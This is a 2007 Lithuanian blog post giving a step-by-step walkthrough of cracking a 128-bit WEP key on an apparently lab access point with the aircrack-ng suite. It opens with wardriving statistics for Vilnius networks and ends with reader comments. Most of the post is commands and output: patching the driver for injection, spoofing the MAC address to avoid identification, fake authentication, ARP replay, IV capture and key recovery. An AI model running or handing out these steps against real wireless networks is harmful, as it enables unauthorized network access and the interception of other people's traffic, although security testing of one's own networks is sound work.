random hackery

2007-04-15

WEP įveikimas (scenarijus A)

Filed under: hacking, wifi — Almantas Karvelis @ 15:02

Porą kartų pravažiavus su kismet po Vilnių matosi tokia įdomi statistika (adaptuota iš kismet wlanstats):

Encryption-Statistics:
Encryption-name                 Count   Perc.
None                            370     46.89%
WEP                             262     33.20%
WPA,TKIP,PSK,AES-CCM            157     19.91%

Matome kad 80% bevielių tinklų yra lengvas grobis, kadangi arba visai nenaudoja šifravimo arba naudoja nepatikimas technologijas (WEP), kas yra dar blogiau, kadangi suteikia klaidinantį saugumo pojūtį.

Apie WEP įveikimą yra prirašyta labai daug, bet viską reikėtų išbandyti praktiškai. Remsimės 2iem dokumentais iš http://www.aircrack-ng.org :
Simple WEP Crack Simple WEP Crack ir How to crack WEP with no clients

SCENARIJUS A

– Linksys AP su 128 bitų WEP šifravimu
– Prisijungę aktyvūs klientai
– Atakuojantis hostas su atheros korta
– Atakai naudosime aircrack-ng programų paketą

Visu pirma, freimų įterpimui (injection) turime perkompiliuoti madwifi draiverį su reikiamais patch’ais:

oot@base:~# ifconfig ath0 down
root@base:~# ifconfig wifi0 down
root@base:~# cd /usr/src
root@base:/usr/src# wget -c http://patches.aircrack-ng.org/madwifi-ng-r1886.patch
root@base:/usr/src# tar -jxvf madwifi-0.9.3.tar.bz2
root@base:/usr/src# cd madwifi-0.9.3
root@base:/usr/src/madwifi-0.9.3# patch -Np1 -i ../madwifi-ng-r1886.patch
patching file ath/if_ath.c
Hunk #1 succeeded at 2280 (offset -9 lines).
Hunk #2 succeeded at 2297 (offset -9 lines).

root@base:/usr/src/madwifi-0.9.3# scripts/madwifi-unload.bash
root@base:/usr/src/madwifi-0.9.3# scripts/find-madwifi-modules.sh $(uname -r)

WARNING:
It seems that there are modules left from previous MadWifi installations.
If you are unistalling the MadWifi modules please press "r" to remove them.
If you are installing new MadWifi modules, you should consider removing those
already installed, or else you may experience problems during operation.
Remove old modules?

[l]ist, [r]emove, [i]gnore or e[x]it (l,r,i,[x]) ?
r

root@base:/usr/src/madwifi-0.9.3# make
root@base:/usr/src/madwifi-0.9.3# make install
root@base:/usr/src/madwifi-0.9.3# modprobe ath_pci

Dabar pati ataka:

root@base:/base/lab# ifconfig ath0 up
root@base:/base/lab# wlanconfig ath0 list ap
SSID            BSSID              CHAN RATE  S:N   INT CAPS
lab-wep         00:18:f8:65:2c:f8    9   54M 53:0   100 EPSs

Tai yra mūsų taikinys (BSSID/MAC 00:18:f8:65:2c:f8 figūruos mūsų tolimesniuose veiksmuose)

Iškertame draiverio automatiškai sukurtą ath0 subinterfeisą

root@base:/base/lab# airmon-ng

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)

root@base:/base/lab# airmon-ng stop ath0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Pasikeičiame MAC ant parent interfeiso, kad kuriami nauji subinterfeisai turėtų naują MAC adresą (mes planuojame gan agresyviai transliuoti į eterį, taigi šviesti mūsų kortos tikrą aparatinį adresą būtų nelabai protinga):

root@base:/base/lab# macchanger -a wifi0
Current MAC: 00:12:79:68:53:c4 [wireless] (Hewlett Packard)
Faked MAC:   00:12:80:86:d5:c5 [wireless] (Cisco)

sukuriame naują subinterfeisą monitor modoj:

root@base:/base/lab# airmon-ng start wifi0 9

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Pakeliame jį, ir pasitikriname, ar tikrai naujas MAC adresas:

root@base:/base/lab# ifconfig ath0 up
root@base:/base/lab# iwconfig ath0
ath0      IEEE 802.11g  ESSID:""  Nickname:""
          Mode:Monitor  Frequency:2.457 GHz  Access Point: 00:12:80:86:D5:C5
          Bit Rate:0 kb/s   Tx-Power:15 dBm   Sensitivity=0/3
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=0/94  Signal level=-96 dBm  Noise level=-96 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Asocijuojames su taikiniu:

root@base:/base/lab# aireplay-ng -1 0 -e lab-wep -a 00:18:f8:65:2c:f8 -h 00:12:80:86:d5:c5 ath0
10:56:05  Sending Authentication Request
10:56:05  Authentication successful
10:56:05  Sending Association Request
10:56:05  Association successful :-)

Pradedame paketų įterpimą – kadangi AP turi aktyvių klientų, ARP paketo reikiamo įterpimui pradėti sulaukiame gan greitai:

root@base:~# aireplay-ng -3 -b 00:18:f8:65:2c:f8 -h 00:12:80:86:d5:c5 ath0
Saving ARP requests in replay_arp-0415-105729.cap
You should also start airodump-ng to capture replies.
Read 29212 packets (got 8270 ARP requests), sent 28144 packets...

Kitame terminale, kaip ir pataria mums aireplay, startuojame airodump ir pradedame rinkti informaciją (duomenys bus saugomi faile output-01.ivs):

root@base:/base/lab# airodump-ng -c 9 --bssid 0:18:f8:65:2c:f8 --ivs -w output ath0
 CH  9 ][ Elapsed: 6 mins ][ 2007-04-15 11:04

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ES

 00:18:F8:65:2C:F8   58 100     3833    34177  121   9  54. WEP  WEP    OPN  l

 BSSID              STATION            PWR  Lost  Packets  Probes

 00:18:F8:65:2C:F8  00:12:80:86:D5:C5   60     0    34698

Dabar belieka laukti. http://www.aircrack-ng.org teigia, kad garantuotam WAP nulaužimui aircrack priemonėm reikia ~250 000 Data paketų 64 bitų WEP raktui ir ~1 500 000 Data paketų 128 bitų raktui, ir kad įterpimo intensyvumas gali svyruoti nuo 100 iki 1000 paketų per sekundę. Mano atveju vidutinis iterpimo intensyvumas yra 120 #/s, ir žinant, kad raktas yra 128 bitų, galime paskaičiuoti, kiek truks visas prosesas:
1 500 000 / 120 / 60 /60 = >3 val.
Daugoka. Bet čia kalba eina apie garantuotą nulaužimą. Niekas mums netrukdo periodiškai pabandyti prasukti aircrack-ng output-01.ivs failui. Bandžiau kas 5 minutes, ir po ~50 min., surinkęs ~350000 paketų pasiekiau rezultatą – aircrack-ng rado WEP raktą per 2 sekundes:

root@base:/base/lab# aircrack-ng output-01.ivs

                                 Aircrack-ng 0.7


                 [00:00:02] Tested 77 keys (got 356686 IVs)

   KB    depth   byte(vote)
    0    0/  3   56(  30) F4(  30) D3(  15) 68(  12) DE(  12) F5(   9)
    1    0/  1   DB( 229) 9B(  30) 84(  21) 7F(  19) 4F(  18) A5(  18)
    2    0/  1   C5( 199) BB(  52) A4(  27) CA(  25) B9(  23) D2(  18)
    3    0/  1   39( 497) 4F(  35) EF(  32) 02(  31) 05(  31) F0(  28)
    4    0/  1   20( 154) EC(  40) 23(  39) 30(  37) 4C(  31) 5C(  30)
    5    0/  1   01( 170) 84(  51) CC(  42) 88(  38) D3(  37) E5(  37)
    6    0/  3   F1( 107) 19(  80) 7A(  61) 7B(  47) C0(  25) 7F(  23)
    7    0/  4   C2(  64) 7F(  40) 7E(  37) C6(  32) 7B(  31) 1F(  30)
    8    0/  1   EC( 170) B0(  46) 56(  40) B2(  36) AE(  29) B5(  24)
    9    0/  2   64( 123) BD(  78) C0(  51) 72(  43) 8A(  43) B8(  38)
   10    0/  1   E9( 227) 49(  30) 4C(  30) 46(  29) 79(  23) 14(  20)
   11    0/  1   D6( 249) 51(  43) 4F(  34) AD(  34) 54(  26) 4D(  25)

             KEY FOUND! [ 56:DB:C5:39:20:01:F1:C2:EC:64:E9:D6:4B ]

3 Comments »

  1. […] _ hackers hack « WEP įveikimas (scenarijus A) […]

    Pingback by WEP įveikimas (scenarijus B) « _ — 2007-04-16 @ 11:11

  2. sweiki, wa ieskojau info apie tai, mazdaug supratau kjp cia wiska padaryti, bet cia su kokiom programom reikia dirbti? per ka paleisti tuos wisus uzrasus?

    Comment by kasper — 2009-01-04 @ 02:13

  3. Aciu, uz gana grazu vertima, butinai kam nors parekomenduosiu sita pusl. ;)
    kasper, cia Linux terminalo komandos.

    Comment by GODhack — 2011-03-05 @ 08:52


RSS feed for comments on this post. TrackBack URI

Leave a comment

Blog at WordPress.com.